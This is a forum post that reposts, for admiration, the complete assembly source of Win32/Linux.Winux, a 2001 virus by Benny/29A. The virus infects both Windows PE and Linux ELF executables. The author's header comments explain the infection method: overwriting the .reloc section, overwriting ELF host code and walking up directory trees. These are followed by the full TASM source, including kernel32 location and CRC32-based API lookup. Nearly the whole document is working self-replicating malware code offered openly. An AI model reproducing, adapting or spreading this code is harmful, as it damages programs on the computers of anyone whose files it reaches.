zop 1 world, 1 web, 1 Windows | Ma modeste contribution à ces beaux discours, un virus compatible Win32 et autres exécutables au format ELF, admirer:
Code :
- ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
- ; ³ Win32/Linux.Winux ³
- ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
- ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
- ; ³ by Benny/29A ³
- ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
- ;
- ;
- ;
- ;Heya ppl,
- ;
- ;lemme introduce you my first multi-platform virus, the worlds first
- ;PE/ELF infector. The idea of first Win32/Linux virus came to my head
- ;when I was learning Linux viruses. I'm not Linux expert, I couldn't
- ;code for Linux in assembler - I am familiar with Intel syntax, AT&T
- ;is a bit chaotic for me. However, I decided to learn more about Linux
- ;coding and left my place of newbee. I was always fascinated of Linux
- ;scene and low-level programming under Linux but I never knew much
- ;about it.
- ;
- ;I wanted to code virus for Linux and learn from it. But becoz there
- ;already exist some viruses and I knew I won't be able to bring any
- ;new technique, I decided to code something unique -> Win32/Linux
- ;compatible multi-platform infector. And here you can find the result
- ;of my trying. Now, after all, I've got some valuable experiencez and
- ;I'm glad for that. Coding/debugging in Linux was hard for me, but I
- ;had fun and I learned a lot. And that's the most important.
- ;
- ;
- ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
- ;³ Technical details ³
- ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
- ;
- ;The virus itself ain't much. It's not big, it's not complicated,
- ;it's not resident nor polymorphic.. I wanted to be the virus like
- ;this. Just to show something new, show that something never seen
- ;before is possible and how can it be coded.
- ;
- ;The virus is devided to two partz: Win32 part and Linux part. Every
- ;part is able to infect both of PE and ELF filez. This source is
- ;designed to be compiled by TASM under Win32, nevertheless it can
- ;infect Linux programz and so then it will be able to be executed
- ;in Linux environment (and there it is also able to infect
- ;Win32 part, which can be executed in Win32 environment etc etc etc...).
- ;
- ;Win32 part:
- ;ÄÄÄÄÄÄÄÄÄÄÄÄ
- ;
- ;Virus infects PE filez by overwritting .reloc section, so it does not
- ;enlarge host file size. Filez that don't have .reloc section, big
- ;enough for virus code, can't be infected (explorer.exe can be used to
- ;test infection capabilities). It can pass thru directory tree by well
- ;known "dotdot" method ("cd .." ) and there infects all PE and ELF
- ;filez - virus does not check extensionz, it analyses victim's internal
- ;format and then decidez whata do.
- ;When all filez are passed and/or infected virus will execute host code.
- ;
- ;Linux part:
- ;ÄÄÄÄÄÄÄÄÄÄÄÄ
- ;
- ;Virus infects ELF filez by overwritting host code by viral code. The
- ;original host code is stored at the end of host file. It can infect
- ;all filez (both of PE and ELF) in current directory, also without
- ;checking file extensionz.
- ;When all filez are passed and/or infected virus will restore host code
- ;(overwrite itself by original host code) and execute it.
- ;
- ;
- ;Well, you are probably asking how it is possible that virus can infect Win32
- ;appz from Linux environment and Linux appz from Win32 environment. Yeah,
- ;many ppl already asked me. For instance, under some emulator. There exist
- ;some emulatorz (win4lin, wine etc..) which are often used to execute Win32
- ;appz under Linux. Also, I know many ppl that have partition specially
- ;reserved for CD burning, where they store both of Win32 and Linux programz.
- ;Virus executed from there has no problemz with infection, heh ;)
- ;
- ;
- ;Does this virus work? Heh, sure it does. I tested it on Win98, Win2000 and
- ;RedHat 7.0, and it worked without any problemz. However, if you will find
- ;any problemz, don't by shy and send me a bug report ;-P
- ;
- ;
- ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
- ;³ Licence agreement ³
- ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
- ;
- ;This virus is covered by GPL - GNU General Public Licence. All crucial
- ;facts can be found there. Read it before using!
- ;
- ;
- ;ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
- ;³ Last notez ³
- ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
- ;
- ;While I was finishing Universe and coding Winux, many personal thingz
- ;happened to me. Again such depressive season as only winter can be
- ;fell down on me.. I'm finishing my high-school, last year, many examz
- ;(and I know nothing, you know that feeling, heh :) etc. End of next
- ;stage of my life is getting closer and I don't know how will that next
- ;one be for me, what it will take and bring to me. I'm looking forward
- ;to summer, the best season in the year, no depression, no school, no
- ;fucking problemz I still have and can't hold them all.. c ya l8r,
- ;somewhere in timespace..
- ;
- ;
- ;
- ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
- ; # Benny / 29A ÀÄ¿
- ; @ benny@post.cz ÀÄÄÄÄÄÄÄÄÄ¿
- ;(c) March, 2001 @ http://benny29a.cjb.net ³
- ;Czech Republic ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
- .386p
- .model flat
- include win32api.inc
- include useful.inc
- include mz.inc
- include pe.inc
- .data
- db ?
- .code
- Start: pushad
- @SEH_SetupFrame ;setup SEH frame
- call gdelta
- gdelta: pop ebp ;ebp=delta offset
- call get_base ;get K32 base address
- call get_apis ;find addresses of APIz
- lea eax,[ebp + prev_dir - gdelta]
- push eax
- push MAX_PATH
- call [ebp + a_GetCurrentDirectoryA - gdelta]
- ;get current directory
- push 20
- pop ecx ;20 passes in directory tree
- f_infect:
- push ecx
- ;direct action - infect all PE filez in directory
- lea esi,[ebp + WFD - gdelta] ;WIN32_FIND_DATA structure
- push esi ;save its address
- @pushsz '*.*' ;search for all filez
- call [ebp + a_FindFirstFileA - gdelta] ;find first file
- inc eax
- je e_find ;quit if not found
- dec eax
- push eax ;save search handle to stack
- f_next: call wCheckInfect ;infect found file
- push esi ;save WFD structure
- push dword ptr [esp+4] ;and search handle from stack
- call [ebp + a_FindNextFileA - gdelta];find next file
- test eax,eax
- jne f_next ;and infect it
- f_close:call [ebp + a_FindClose - gdelta] ;close search handle
- e_find: @pushsz '..'
- mov esi,[ebp + a_SetCurrentDirectoryA - gdelta]
- call esi ;go upper in directory tree
- pop ecx
- loop f_infect ;and again..
- lea eax,[ebp + prev_dir - gdelta]
- push eax
- call esi ;go back to original directory
- end_host:
- @SEH_RemoveFrame ;remove SEH frame
- popad
- extrn ExitProcess
- mov eax,offset ExitProcess-400000h
- original_ep = dword ptr $-4
- add eax,400000h
- image_base = dword ptr $-4
- jmp eax ;and go back to host program
- ;INFECT FILE (Win32 version)
- wCheckInfect Proc
- pushad
- @SEH_SetupFrame ;setup SEH frame
- and dword ptr [ebp + sucElf - gdelta],0
- test [esi.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
- jne end_seh ;discard directory entries
- xor ecx,ecx
- cmp [esi.WFD_nFileSizeHigh],ecx
- jne end_seh ;discard files >4GB
- mov eax,[esi.WFD_nFileSizeLow]
- cmp eax,4000h
- jb end_seh ;discard small filez
- mov [ebp + l_lseek - gdelta],eax
- xor eax,eax
- push eax
- push FILE_ATTRIBUTE_NORMAL
- push OPEN_EXISTING
- push eax
- push eax
- push GENERIC_READ or GENERIC_WRITE
- lea eax,[esi.WFD_szFileName]
- push eax
- call [ebp + a_CreateFileA - gdelta] ;open file
- inc eax
- je end_seh
- dec eax
- mov [ebp + hFile - gdelta],eax
- cdq
- push edx
- push edx
- push edx
- push PAGE_READWRITE
- push edx
- push eax
- call [ebp + a_CreateFileMappingA - gdelta]
- cdq
- xchg eax,ecx
- jecxz end_cfma
- mov [ebp + hMapFile - gdelta],ecx
- push edx
- push edx
- push edx
- push FILE_MAP_WRITE
- push ecx ;map file to address space
- call [ebp + a_MapViewOfFile - gdelta]
- xchg eax,ecx
- jecxz end_mvof
- mov [ebp + lpFile - gdelta],ecx
- jmp n_fileopen
- close_file:
- push 12345678h
- lpFile = dword ptr $-4 ;unmap file
- call [ebp + a_UnmapViewOfFile - gdelta]
- end_mvof:
- push 12345678h
- hMapFile = dword ptr $-4
- call [ebp + a_CloseHandle - gdelta]
- end_cfma:
- mov ecx,12345678h ;was it linux program (ELF)?
- sucElf = dword ptr $-4
- jecxz c_close ;no, close that file
- push 2
- push 0
- push 0
- push dword ptr [ebp + hFile - gdelta]
- call [ebp + a_SetFilePointer - gdelta]
- ;go to EOF
- push 0
- lea eax,[ebp + sucElf - gdelta]
- push eax
- push virtual_end-Start
- push 12345678h
- a_mem = dword ptr $-4
- push dword ptr [ebp + hFile - gdelta]
- call [ebp + a_WriteFile - gdelta]
- ;write there orig. program part
- push MEM_RELEASE
- push 0
- push dword ptr [ebp + a_mem - gdelta]
- call [ebp + a_VirtualFree - gdelta]
- ;and deallocate used memory
- c_close:push 12345678h
- hFile = dword ptr $-4
- call [ebp + a_CloseHandle - gdelta] ;close file
- jmp end_seh ;and quit
- n_fileopen:
- call check_elf
- je wInfectELF ;is it Linux program (ELF)?
- add ax,-IMAGE_DOS_SIGNATURE
- jne close_file
- call check_pe
- jne close_file ;is it Win32 program (PE)?
- ;important chex
- cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
- jne close_file
- mov ax,[esi.NT_FileHeader.FH_Characteristics]
- test ax,IMAGE_FILE_EXECUTABLE_IMAGE
- je close_file
- test ax,IMAGE_FILE_DLL
- jne close_file
- test ax,IMAGE_FILE_SYSTEM
- jne close_file
- mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
- test al,IMAGE_SUBSYSTEM_NATIVE
- jne close_file
- movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
- dec eax
- test eax,eax
- je close_file
- call header&relocs ;get PE headerz and check for relocs
- je close_file ;quit if no relocs
- mov ebx,[edi.SH_VirtualAddress]
- cmp eax,ebx
- jne close_file
- cmp [edi.SH_SizeOfRawData],virus_end-Start+500
- jb close_file ;is it large enough?
- pushad
- xor eax,eax
- mov edi,edx
- stosd
- stosd
- popad ;erase relocs record
- call set_alignz ;align section variable
- push dword ptr [ebp + original_ep - gdelta]
- push dword ptr [ebp + image_base - gdelta]
- ;save used variablez
- mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
- mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
- mov [ebp + original_ep - gdelta],eax
- mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
- mov [ebp + image_base - gdelta],eax
- ;set variablez
- pushad
- mov edi,[edi.SH_PointerToRawData]
- add edi,[ebp + lpFile - gdelta]
- lea esi,[ebp + Start - gdelta]
- mov ecx,virus_end-Start
- rep movsb ;overwrite relocs by virus body
- popad
- pop dword ptr [ebp + image_base - gdelta]
- pop dword ptr [ebp + original_ep - gdelta]
- ;restore used variablez
- or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
- jmp close_file ;set flag and quit
- wCheckInfect EndP
- ;INFECT LINUX PROGRAM (Win32 version)
- wInfectELF Proc
- mov edi,ecx
- movzx eax,word ptr [edi+12h]
- cmp eax,3
- jne close_file
- call get_elf ;get elf headerz
- p_sectionz:
- mov eax,[esi+0Ch] ;virtual address
- add eax,[esi+14h] ;virtual size
- cmp ebx,eax
- jb got_section ;does EP fit to this section?
- add esi,edx ;no, get to next record
- loop p_sectionz ;ECX-timez
- jmp close_file ;invalid ELF, quit
- got_section:
- mov eax,[ebp + Start - gdelta]
- mov ecx,[esi+10h]
- add ecx,edi
- cmp [ecx],eax
- je close_file ;infection check
- mov eax,[esi+14h]
- cmp eax,virtual_end-Start
- jb close_file ;must be large enough
- push PAGE_READWRITE
- push MEM_RESERVE or MEM_COMMIT
- push eax
- push 0
- call [ebp + a_VirtualAlloc - gdelta]
- test eax,eax ;allocate buffer for host code
- je close_file
- mov [ebp + a_mem - gdelta],eax
- pushad
- mov ecx,[esi+14h]
- mov esi,[esi+10h]
- add esi,edi
- push esi
- xchg eax,edi
- rep movsb ;copy host code to our buffer
- pop edi
- lea esi,[ebp + Start - gdelta]
- mov ecx,virtual_end-Start
- rep movsb ;overwrite host code by virus body
- popad
- add dword ptr [edi+18h],LinuxStart-Start
- mov [ebp + sucElf - gdelta],edi
- jmp close_file ;set semaphore and quit
- wInfectELF EndP
- ;this procedure can retrieve API addresses
- get_apis Proc
- pushad
- @SEH_SetupFrame
- lea esi,[ebp + crc32s - gdelta] ;get ptr to CRC32 values of APIs
- lea edi,[ebp + a_apis - gdelta] ;where to store API addresses
- push crc32c ;how many APIs do we need
- pop ecx ;in ECX...
- g_apis: push eax ;save K32 base
- call get_api
- stosd ;save address
- test eax,eax
- pop eax
- je q_gpa ;quit if not found
- add esi,4 ;move to next CRC32 value
- loop g_apis ;search for API addresses in a loop
- end_seh:@SEH_RemoveFrame ;remove SEH frame
- popad ;restore all registers
- ret ;and quit from procedure
- q_gpa: @SEH_RemoveFrame
- popad
- pop eax
- jmp end_host ;quit if error
- get_apis EndP
- ;this procedure can retrieve address of given API
- get_api Proc
- pushad ;store all registers
- @SEH_SetupFrame ;setup SEH frame
- mov edi,[eax.MZ_lfanew] ;move to PE header
- add edi,eax ;...
- mov ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
- jecxz end_gpa ;quit if no exports
- mov ebx,eax
- add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
- mov edx,eax ;get address of export table
- add edx,[ebx.ED_AddressOfNames] ;address of API names
- mov ecx,[ebx.ED_NumberOfNames] ;number of API names
- mov edi,edx
- push dword ptr [esi] ;save CRC32 to stack
- mov ebp,eax
- xor eax,eax
- APIname:push eax
- mov esi,ebp ;get base
- add esi,[edx+eax*4] ;move to API name
- push esi ;save address
- @endsz ;go to the end of string
- sub esi,[esp] ;get string size
- mov edi,esi ;move it to EDI
- pop esi ;restore address of API name
- call CRC32 ;calculate CRC32 of API name
- cmp eax,[esp+4] ;is it right API?
- pop eax
- je g_name ;yeah, we got it
- inc eax ;increment counter
- loop APIname ;and search for next API name
- pop eax
- end_gpa:xor eax, eax ;set flag
- ok_gpa: @SEH_RemoveFrame ;remove SEH frame
- mov [esp.Pushad_eax],eax ;save value to stack
- popad ;restore all registers
- ret ;quit from procedure
- g_name: pop edx
- mov edx,ebp
- add edx,[ebx.ED_AddressOfOrdinals]
- movzx eax,word ptr [edx+eax*2]
- cmp eax,[ebx.ED_NumberOfFunctions]
- jae end_gpa-1
- mov edx,ebp ;base of K32
- add edx,[ebx.ED_AddressOfFunctions] ;address of API functions
- add ebp,[edx+eax*4] ;get API function address
- xchg eax,ebp ;we got address of API in EAX
- jmp ok_gpa ;quit
- get_api EndP
- ;this procedure can retrieve base address of K32
- get_base Proc
- push ebp ;store EBP
- call gdlt ;get delta offset
- gdlt: pop ebp ;to EBP
- mov eax,12345678h ;get lastly used address
- last_kern = dword ptr $-4
- call check_kern ;is this address valid?
- jecxz end_gb ;yeah, we got the address
- call gb_table ;jump over the address table
- dd 077E00000h ;NT/W2k
- dd 077E80000h ;NT/W2k
- dd 077ED0000h ;NT/W2k
- dd 077F00000h ;NT/W2k
- dd 0BFF70000h ;95/98
- gb_table:
- pop edi ;get pointer to address table
- push 4 ;get number of items in the table
- pop esi ;to ESI
- gbloop: mov eax,[edi+esi*4] ;get item
- call check_kern ;is address valid?
- jecxz end_gb ;yeah, we got the valid address
- dec esi ;decrement ESI
- test esi,esi ;end of table?
- jne gbloop ;nope, try next item
- call scan_kern ;scan the address space for K32
- end_gb: pop ebp ;restore EBP
- ret ;quit
- check_kern: ;check if K32 address is valid
- mov ecx,eax ;make ECX != 0
- pushad ;store all registers
- @SEH_SetupFrame ;setup SEH frame
- movzx edx,word ptr [eax] ;get two bytes
- add edx,-"ZM" ;is it MZ header?
- jne end_ck ;nope
- mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
- add ebx,eax ;normalize it
- mov ebx,[ebx] ;get four bytes
- add ebx,-"EP" ;is it PE header?
- jne end_ck ;nope
- xor ecx,ecx ;we got K32 base address
- mov [ebp + last_kern - gdlt],eax ;save K32 base address
- end_ck: @SEH_RemoveFrame ;remove SEH frame
- mov [esp.Pushad_ecx],ecx ;save ECX
- popad ;restore all registers
- ret ;if ECX == 0, address was found
- SEH_hndlr macro ;macro for SEH
- @SEH_RemoveFrame ;remove SEH frame
- popad ;restore all registers
- add dword ptr [ebp + bAddr - gdlt],1000h ;explore next page
- jmp bck ;continue execution
- endm
- scan_kern: ;scan address space for K32
- bck: pushad ;store all registers
- @SEH_SetupFrame ;setup SEH frame
- mov eax,077000000h ;starting/last address
- bAddr = dword ptr $-4
- movzx edx,word ptr [eax] ;get two bytes
- add edx,-"ZM" ;is it MZ header?
- jne pg_flt ;nope
- mov edi,[eax.MZ_lfanew] ;get pointer to PE header
- add edi,eax ;normalize it
- mov ebx,[edi] ;get four bytes
- add ebx,-"EP" ;is it PE header?
- jne pg_flt ;nope
- mov ebx,eax
- mov esi,eax
- add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
- add esi,[ebx.ED_Name]
- mov esi,[esi]
- add esi,-'NREK'
- je end_sk
- pg_flt: xor ecx,ecx ;we got K32 base address
- mov [ecx],esi ;generate PAGE FAULT! search again...
- end_sk: mov [ebp + last_kern - gdlt],eax ;save K32 base address
- @SEH_RemoveFrame ;remove SEH frame
- mov [esp.Pushad_eax],eax ;save EAX - K32 base
- popad ;restore all registers
- ret
- get_base EndP
- CRC32: push ecx ;procedure for calculating CRC32s
- push edx ;at run-time
- push ebx
- xor ecx,ecx
- dec ecx
- mov edx,ecx
- NextByteCRC:
- xor eax,eax
- xor ebx,ebx
- lodsb
- xor al,cl
- mov cl,ch
- mov ch,dl
- mov dl,dh
- mov dh,8
- NextBitCRC:
- shr bx,1
- rcr ax,1
- jnc NoCRC
- xor ax,08320h
- xor bx,0EDB8h
- NoCRC: dec dh
- jnz NextBitCRC
- xor ecx,eax
- xor edx,ebx
- dec edi
- jne NextByteCRC
- not edx
- not ecx
- pop ebx
- mov eax,edx
- rol eax,16
- mov ax,cx
- pop edx
- pop ecx
- ret
- signature db 0,'[Win32/Linux.Winux] multi-platform virus by Benny/29A',0
- ;little signature of mine ;-)
- ;Viral entrypoint in Linux programz
- LinuxStart:
- push eax ;reserve variable for return to host
- pushad
- mov ebx,[esp.cPushad+8] ;get command line
- call lgdelta
- lgdelta:pop ebp ;ebp=delta offset
- mov ecx,end_end_lhost-end_lhost
- sub esp,ecx
- mov edi,esp
- lea esi,[ebp + end_lhost - lgdelta]
- rep movsb ;copy virus to stack and jump there
- jmp esp ;(becoz we need to restore host code back)
- end_lhost Proc
- push ebx
- push 125
- pop eax
- lea ebx,[ebp + Start - lgdelta]
- and ebx,0FFFFF000h
- mov ecx,3000h
- mov edx,7
- int 80h ;deprotect code section
- pop ebx
- push 5
- pop eax
- xor ecx,ecx
- int 80h ;open host file
- xchg eax,ebx
- test ebx,ebx
- jns read_host
- q_host: xor eax,eax
- inc eax
- push -1
- pop ebx
- int 80h ;quit if error
- read_host:
- push 19
- pop eax
- mov ecx,12345678h
- l_lseek = dword ptr $-4
- cdq
- int 80h ;seek to saved host code (EOF - some bytez)
- test eax,eax
- js q_host
- pushad
- push 5
- pop eax
- call cur_dir
- db '.',0
- cur_dir:pop ebx
- xor ecx,ecx
- cdq
- int 80h ;get current directory descriptor
- xchg eax,ebx
- inf_dir:push 89
- pop eax
- lea ecx,[ebp + WFD - lgdelta]
- int 80h ;get file from directory
- xchg eax,ecx
- jecxz cldir ;no more filez..
- add eax,10
- call lCheckInfect ;try to infect it
- jmp inf_dir ;and look for another file
- cldir: push 6
- pop eax
- int 80h ;close directory descriptor
- popad
- push 3
- pop eax
- lea ecx,[ebp + Start - lgdelta]
- mov edi,ecx
- mov edx,virtual_end-Start
- int 80h ;restore host code
- test eax,eax
- js q_host
- push 6
- pop eax
- int 80h ;close host file descriptor
- add esp,end_end_lhost-end_lhost
- mov [esp.cPushad],edi ;write host entrypoint address
- popad
- ret ;and jump to there
- ;INFECT FILE (Linux version)
- lCheckInfect Proc
- pushad
- xchg eax,ebx
- push 5
- pop eax
- cdq
- inc edx
- inc edx
- mov ecx,edx
- int 80h ;open file
- xchg eax,ebx
- test ebx,ebx
- jns c_open
- popad
- ret
- c_open: mov [ebp + f_handle - lgdelta],ebx
- push 19
- pop eax
- xor ecx,ecx
- int 80h ;seek to EOF = get file size
- mov [ebp + l_lseek - lgdelta],eax
- ;save it
- push ecx
- push ebx
- inc ecx
- push ecx
- inc ecx
- inc ecx
- push ecx
- push eax
- xor ecx,ecx
- push ecx
- mov ebx,esp
- push 90
- pop eax
- int 80h ;map file to address space
- add esp,24
- cmp eax,0FFFFF000h
- jbe c_mmap ;quit if error
- jmp c_file
- c_mmap: mov ecx,eax
- mov [ebp + fm_handle - lgdelta],eax
- pushad
- call check_elf
- je lInfectELF ;is it Linux program (ELF)?
- add ax,-IMAGE_DOS_SIGNATURE
- jne c_mfile
- call check_pe
- jne c_mfile ;is it Win32 program (PE)?
- ;some important chex
- cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
- jne c_mfile
- mov ax,[esi.NT_FileHeader.FH_Characteristics]
- test ax,IMAGE_FILE_EXECUTABLE_IMAGE
- je c_mfile
- test ax,IMAGE_FILE_DLL
- jne c_mfile
- test ax,IMAGE_FILE_SYSTEM
- jne c_mfile
- mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
- test al,IMAGE_SUBSYSTEM_NATIVE
- jne c_mfile
- movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
- dec eax
- test eax,eax
- je c_mfile
- call header&relocs ;get PE headerz and check for relocs
- je c_mfile ;quit if no relocs
- mov ebx,[edi.SH_VirtualAddress]
- cmp eax,ebx
- jne c_mfile
- cmp [edi.SH_SizeOfRawData],virus_end-Start+500
- jb c_mfile ;is it large enough?
- pushad
- xor eax,eax
- mov edi,edx
- stosd
- stosd
- popad ;clear relocs record
- call set_alignz ;align section variable
- mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
- mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ebx
- mov [ebp + original_ep - lgdelta],eax
- mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
- mov [ebp + image_base - lgdelta],eax
- ;set some important variablez
- pushad
- mov edi,[edi.SH_PointerToRawData]
- add edi,[esp+24]
- lea esi,[ebp + Start - lgdelta]
- mov ecx,virus_end-Start
- rep movsb ;overwrite relocs by virus code
- popad
- or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
- ;set flag
- c_mfile:popad
- push 91
- pop eax
- int 80h ;unmap file
- c_file: push 6
- pop eax
- mov ebx,[ebp + f_handle - lgdelta]
- int 80h ;close file descriptor
- popad
- ret ;and quit
- lCheckInfect EndP
- ;INFECT LINUX PROGRAM (Linux version)
- lInfectELF Proc
- mov edi,ecx
- movzx eax,word ptr [edi+12h]
- cmp eax,3
- jne c_mfile
- call get_elf ;get ELF headerz
- p_sectionz2:
- mov eax,[esi+0Ch] ;virtual address
- add eax,[esi+14h] ;virtual size
- cmp ebx,eax
- jb got_section2 ;does EP fit to this section?
- add esi,edx ;no, get to next record
- loop p_sectionz2 ;ECX-timez
- jmp c_mfile ;invalid ELF, quit
- got_section2:
- mov eax,[ebp + Start - lgdelta]
- mov ecx,[esi+10h]
- add ecx,edi
- cmp [ecx],eax
- je c_mfile ;infection check
- mov eax,[esi+14h]
- cmp eax,virtual_end-Start
- jb c_mfile ;is it large enough?
- sub esp,eax ;create buffer in stack
- mov [ebp + s_mem - lgdelta],eax
- add dword ptr [edi+18h],LinuxStart-Start
- mov ecx,[esi+14h]
- mov esi,[esi+10h]
- add esi,edi
- mov eax,esi
- mov edi,esp
- rep movsb ;copy original host code there
- mov edi,eax
- lea esi,[ebp + Start - lgdelta]
- mov ecx,virtual_end-Start
- rep movsb ;overwrite host code by virus
- push 91
- pop eax
- mov ebx,[ebp + fm_handle - lgdelta]
- int 80h ;unmap file
- push 19
- pop eax
- mov ebx,[ebp + f_handle - lgdelta]
- xor ecx,ecx
- cdq
- inc edx
- inc edx
- int 80h ;go to EOF
- push 4
- pop eax
- mov ecx,esp
- mov edx,virtual_end-Start
- int 80h ;write there original host code
- add esp,[ebp + s_mem - lgdelta]
- popad ;correct stack
- jmp c_file ;and close the file
- lInfectELF EndP
- ;check if it is Linux program (ELF)
- check_elf Proc
- mov eax,[ecx]
- push eax
- add eax,-464C457Fh
- pop eax
- ret
- check_elf EndP
- ;check if it is Win32 program (PE)
- check_pe Proc
- mov eax,[ecx.MZ_lfanew]
- add eax,ecx
- xchg eax,esi
- mov eax,[esi]
- add eax,-IMAGE_NT_SIGNATURE
- ret
- check_pe EndP
- ;get some variablez and check for relocationz in PE file
- header&relocs Proc
- imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
- movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
- lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
- add edi,esi
- lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
- mov eax,[edx]
- test eax,eax
- ret
- header&relocs EndP
- ;align section variable
- set_alignz Proc
- mov eax,virtual_end-Start
- cmp eax,[edi.SH_VirtualSize]
- jb o_vs
- mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
- cdq
- div ecx
- test edx,edx
- je o_al
- inc eax
- o_al: mul ecx
- mov [edi.SH_VirtualSize],eax
- o_vs: ret
- set_alignz EndP
- ;get some important variablez from Linux program (ELF)
- get_elf Proc
- mov ebx,[edi+18h] ;EP
- mov esi,[edi+20h] ;section header
- add esi,edi ;normalize
- movzx edx,word ptr [edi+2Eh] ;size of section header
- movzx ecx,word ptr [edi+30h] ;number of sectionz
- ret
- get_elf EndP
- end_end_lhost:
- end_lhost EndP
- gpl db 'This GNU program is covered by GPL.',0
- ;licence agreement ;-)
- ;CRC32s of used APIz
- crc32s: dd 0AE17EBEFh ;FindFirstFileA
- dd 0AA700106h ;FindNextFileA
- dd 0C200BE21h ;FindClose
- dd 08C892DDFh ;CreateFileA
- dd 096B2D96Ch ;CreateFileMappingA
- dd 0797B49ECh ;MapViewOfFile
- dd 094524B42h ;UnmapViewOfFile
- dd 068624A9Dh ;CloseHandle
- dd 04402890Eh ;VirtualAlloc
- dd 02AAD1211h ;VirtualFree
- dd 021777793h ;WriteFile
- dd 085859D42h ;SetFilePointer
- dd 0EBC6C18Bh ;GetCurrentDirectoryA
- dd 0B2DBD7DCh ;SetCurrentDirectoryA
- dd 07495B3ADh ;OutputDebugStringA
- crc32c = ($-crc32s)/4 ;number of APIz
- virus_end:
- ;addresses of APIz
- a_apis:
- a_FindFirstFileA dd ?
- a_FindNextFileA dd ?
- a_FindClose dd ?
- a_CreateFileA dd ?
- a_CreateFileMappingA dd ?
- a_MapViewOfFile dd ?
- a_UnmapViewOfFile dd ?
- a_CloseHandle dd ?
- a_VirtualAlloc dd ?
- a_VirtualFree dd ?
- a_WriteFile dd ?
- a_SetFilePointer dd ?
- a_GetCurrentDirectoryA dd ?
- a_SetCurrentDirectoryA dd ?
- a_OutputDebugStringA dd ?
- f_handle dd ? ;file handle
- fm_handle dd ? ;file mapping handle
- s_mem dd ? ;size of host code (for stack manipulationz)
- WFD WIN32_FIND_DATA ? ;WIN32_FIND_DATA structure
- prev_dir db MAX_PATH dup (?);original directory
- virtual_end:
- ends
|
|